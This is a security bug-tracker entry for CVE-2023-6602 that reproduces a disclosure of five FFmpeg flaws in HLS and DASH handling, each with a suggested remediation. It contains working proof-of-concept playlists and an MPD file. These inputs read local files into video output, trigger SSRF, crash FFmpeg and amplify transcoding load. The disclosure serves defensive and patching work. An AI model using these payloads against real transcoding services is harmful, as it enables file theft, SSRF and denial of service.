Bug 2334338 (CVE-2023-6602) - CVE-2023-6602 ffmpeg: Improper Handling of Input Format in TTY Demuxer of FFmpeg
Summary: CVE-2023-6602 ffmpeg: Improper Handling of Input Format in TTY Demuxer of FFmpeg
Keywords:
Status: NEW
Alias: CVE-2023-6602
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 2335851 2335852 2335853 2335850 2335854 2335855 2335856 2335857
Blocks:
TreeView+ depends on / blocked
 
Reported: 2024-12-27 13:17 UTC by OSIDB Bzimport
Modified: 2025-01-06 15:49 UTC (History)
0 users

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2024-12-27 13:17:35 UTC
FFmpeg Findings 2023.12.01
Overview
Included in this document are five (5) bugs in the open-source package ffmpeg. Internal CVSS 3.1 scoring for these bugs range from 3.9 to 7.2. Attribution for these findings: Harvey Phillips of Amazon Element55 (element55).

If the recipient of this notice (secalert) has any questions regarding these findings, please do not hesitate to contact us at element55.


I. HLS Unsafe File Extension Bypass
Affected Versions: 2.0 (at least) → 6.0 (latest)

There is a commit upstream which prevents this issue by enforcing a file extension check on HLS playlists. Currently, this commit is not in any FFmpeg release branch (6.0 being the latest).




Suggested CVSS 3.1: 3.9 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

Summary
An instance of FFmpeg that does not enforce an input format can be tricked into bypassing the unsafe file extension check.


Impact
This issue makes it possible to construct arbitrary inputs from multiple sources and trigger arbitrary demuxers, possibly leading to exfiltration of unintended data.


Description
HLS Playlists can contain data:// URIs with base64 encoded file contents. By base64-encoding a valid media file and including it in the playlist in this way, an error will be thrown about an unsafe file extension. By adding =.mp4, or =.m3u8, etc to the end of the base64-encoded data this check will be bypassed. Any of the following file extensions will work: 3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav.
Example: without the appended =.m3u8:



[hls @ 0xaaaaeaec2140] Filename extension of 'data://text/plain;base64,WEJJThogABAAEAA=' is not a common multimedia extension, blocked for security reasons.
If you wish to override this adjust allowed_extensions, you can set it to 'ALL' to allow all
[hls @ 0xaaaaeaec2140] Failed to open segment 0 of playlist 0
[hls @ 0xaaaaeaec2140] Error when loading first segment 'data://text/plain;base64,WEJJThogABAAEAA='
input.mp4: Invalid data found when processing input

and after appending =.m3u8 to the data:// uri:



[hls @ 0xaaaafb613160] Opening 'data://text/plain;base64,WEJJThogABAAEAA==.m3u8' for reading
Reproduction
Example input:



#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1,
data://text/plain;base64,WEJJThogABAAEAAoDzEPKQ8gD0gPTA9TDyAPVQ9uD3MPYQ9mD2UPIA9GD2kPbA9lDyAPRQ94D3QPZQ9uD3MPaQ9vD24PIA9CD3kPcA9hD3MPcw8=.m3u8
#EXT-X-ENDLIST

Trigger with ffmpeg -i input.mp4 output.mp4. Playing output.mp4 will show the text (1) HLS Unsafe File Extension Bypass.


Remediation
Anything after either the padding (=) or first non-base64 character should be discarded before the check is performed.


II. HLS Force TTY Demuxer
Affected Versions: 2.0 (at least) → 6.0 (latest)

There is a commit upstream which prevents this issue by enforcing a file extension check on HLS playlists. Currently this commit is not in any FFmpeg release branch (6.0 being the latest).




Suggested CVSS 3.1: 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary
For an instance of FFmpeg that does not enforce an input format, the TTY demuxer can be triggered even when the input file does not meet the TTY requirements.


Impact
The TTY demuxer treats all input as ASCII and renders it in the video output. This issue could therefore allow for possible data exfiltration.


Description
The TTY demuxer is normally only triggered if the input file has one of the following extensions: ans, art, asc, diz, ice, nfo, txt, or vt. Applying (1) but using e.g. the .ans extension produces an error:



[hls @ 0xaaab130f79c0] Filename extension of 'data://text/plain;base64,QUFBQUFBQUEK=.ans' is not a common multimedia extension, blocked for security reasons.
If you wish to override this adjust allowed_extensions, you can set it to 'ALL' to allow all

However, FFmpeg continues to parse the remainder of the segments in the HLS playlist with the TTY demuxer.


Reproduction
Example Input (input.mp4):


#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1,
data://text/plain;base64,QUFBQUFBQUEK=.ans
#EXTINF:1,
data://text/plain;base64,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoK=.m3u8
#EXTINF:1,
file:///some/secret/file/with/a/media/extension.ext
#EXT-X-ENDLIST


Trigger with ffmpeg -i input.mp4 output.mp4. Playing output.mp4 will show the contents of the file in the file:// URI printed out in the video playback.


Remediation
If the common multimedia extension check fails, the demuxer that was identified should be discarded and the identification process should begin anew with the next input in the playlist.


III. HLS EXT-X-MAP Null Dereference
Affected Versions: 3.0 → 5.0 (commit)




Suggested CVSS 3.1: 7.5 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary
An instance of FFmpeg that does not enforce an input format can be provided an incorrectly formatted HLS playlist which triggers a null pointer dereference leading to a segfault.


Impact
A maliciously crafted input file can reliably crash FFmpeg, possibly leading to a denial of service.


Description
When parsing an HLS playlist, FFmpeg prior to version 5.0 will not check the return value of new_init_section(). When this function encounters an error, it returns NULL, leading to a null pointer deference when members cur_init_section are accessed.


Reproduction
Example Input (input.mp4):


#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-MAP:URI="
data://test/plain;base64,QUFBQQo=.m3u8
#EXT-X-ENDLIST


Trigger with ffmpeg -i input.mp4 output.mp4. FFmpeg will crash with a segmentation fault (core dumped) message on Linux.


Remediation
The return value of new_init_section() is checked by this commit.


IV. HLS XBIN Demuxer DoS Amplification
Affected Versions: 2.0 (at least) → 6.0 (latest)




Suggested CVSS 3.1: 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary
An instance of FFmpeg that does not enforce an input format can be tricked into demuxing arbitrary data as XBIN-formatted, leading to a considerably larger output file and extended transcoding time.


Impact
Unexpected additional CPU load for transcoding and storage for large files could lead to degraded or denial of service.


Description
If an input to FFmpeg begins with the XBIN header (11 bytes), then the remainder of the input will be as an array of uint16-ts, which each pair of bytes denoting the ASCII character and foreground/background colour respectively. This format allows typical XBIN files to be relatively small. Due to the lack of structure (beyond the 11-byte header), non-XBIN data can be treated as XBIN data without error.
By providing a subsequent input that is very large, FFmpeg will transcode and produce an even larger output. A sample MP4 totalling 16MB and lasting 3m11s took over 3 minutes to transcode and produced a 352MB file with a duration of 43m52s.


Reproduction
Example Input (input.mp4):


#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1,
data://text/plain;base64,WEJJThogABAAEAA==.m3u8
#EXTINF:1,
file:///absolute/path/to/some/file/with/a/media/extension.ext
#EXT-X-ENDLIST


Trigger via: ffmpeg -i input.mp4 output.mp4. The transcoding will take a disproportional amount of time and output.mp4 will be much larger than the input. Alternatively, you could replace the file:// URI with a data:// URI and provide the input data directly.


Remediation
The XBIN demuxer should only be triggered if the input file extension matches a known value, e.g. .XB.


V. DASH Playlist SSRF
Affected Versions: 4.2 → 6.0 (latest)

DASH playlist support requires FFmpeg to be compiled with libxml2 support.




Suggested CVSS 3.1: 7.2 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary
An instance of FFmpeg that does not enforce an input format can be provided a malicious input that will trigger an SSRF to an attacker controlled URL.


Impact
Arbitrary HTTP GET requests can be made on behalf of the machine that FFmpeg is running on.


Description
The DASH demuxer doesn't check the protocol whitelist before triggering the http demuxer which updates the whitelist to include http,https,tls,rtp,tcp,udp,crypto,httpproxy,data.



[NULL @ 0xaaaaf874c1a0] Opening 'input.mp4' for reading
[file @ 0xaaaaf874ca90] Setting default whitelist 'file,crypto,data'
Probing dash score:100 size:526
[dash @ 0xaaaaf874c1a0] Format dash probed with size=2048 and score=100
[dash @ 0xaaaaf874c1a0] DASH request for url 'http://localhost:8000/secret', offset 0, playlist 0
[http @ 0xaaaaf8751370] Setting default whitelist 'http,https,tls,rtp,tcp,udp,crypto,httpproxy,data'


As the response to any HTTP requests made are treated as input to FFmpeg, a DASH playlist can be constructed so that the first request is to an attacker controlled web server that returns, e.g. an XBIN header. Once the XBIN demuxer is triggered, the subsequent requests (even to non-attacker controlled web servers) will be treated as XBIN input. This results in a partial rendering in the output artifact, allowing for possible data exfiltration.


Reproduction
Example Input (input.mp4):


<MPD xmlns="urn:mpeg:dash:schema:mpd:2011" profiles="urn:mpeg:dash:profile:full:2011,http://www.dashif.org/guidelines/low-latency-live-v5" type="none">
  <Period duration="PT1S">
    <BaseURL></BaseURL>
    <AdaptationSet contentType="video" lang="en">
      <Representation id="video">
        <SegmentList>
          <SegmentURL media="http://localhost:8000/secret"/>
        </SegmentList>
      </Representation>
    </AdaptationSet>
  </Period>
</MPD>


Spawn an HTTP locally server (e.g. python3 -m http.server) and run ffmpeg -i input.mp4 output.mp4 with the above input. You'll see a GET to /secret in the logs of the HTTP server.


Remediation
DASH playlists should restrict URIs to data:// and file:// unless otherwise specified with protocol_whitelist.


Note You need to log in before you can comment on or make changes to this bug.